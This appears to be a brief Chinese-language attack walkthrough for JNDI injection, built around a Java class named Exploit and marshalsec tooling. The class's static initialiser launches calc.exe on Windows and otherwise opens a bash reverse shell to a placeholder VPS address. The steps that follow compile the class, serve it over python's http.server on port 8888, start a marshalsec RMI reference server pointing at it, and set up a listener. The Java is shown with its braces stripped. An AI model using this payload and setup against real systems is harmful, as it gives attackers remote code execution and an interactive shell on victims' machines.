Exploit.java

public class Exploit
    public Exploit() 

    static
    
        try 
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]"cmd.exe","/c", "calc.exe"
                    : new String[]"/bin/bash","-c", "bash -i >& /dev/tcp/VPSip/监听port 0>&1";
            Runtime.getRuntime().exec(cmds);
         catch (Exception e) 
            e.printStackTrace();
        
    

    public static void main(String[] args) 
        Exploit e = new Exploit();
    

编译成Exploit.class

Exploit.class上传到VPS上面

该目录下开启hppt.server

python3 -m http.server --bind 0.0.0.0 8888

开启远程方法调用rmi服务

接下来在VPS开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps:8888/#Exploit"

VPS监听10000
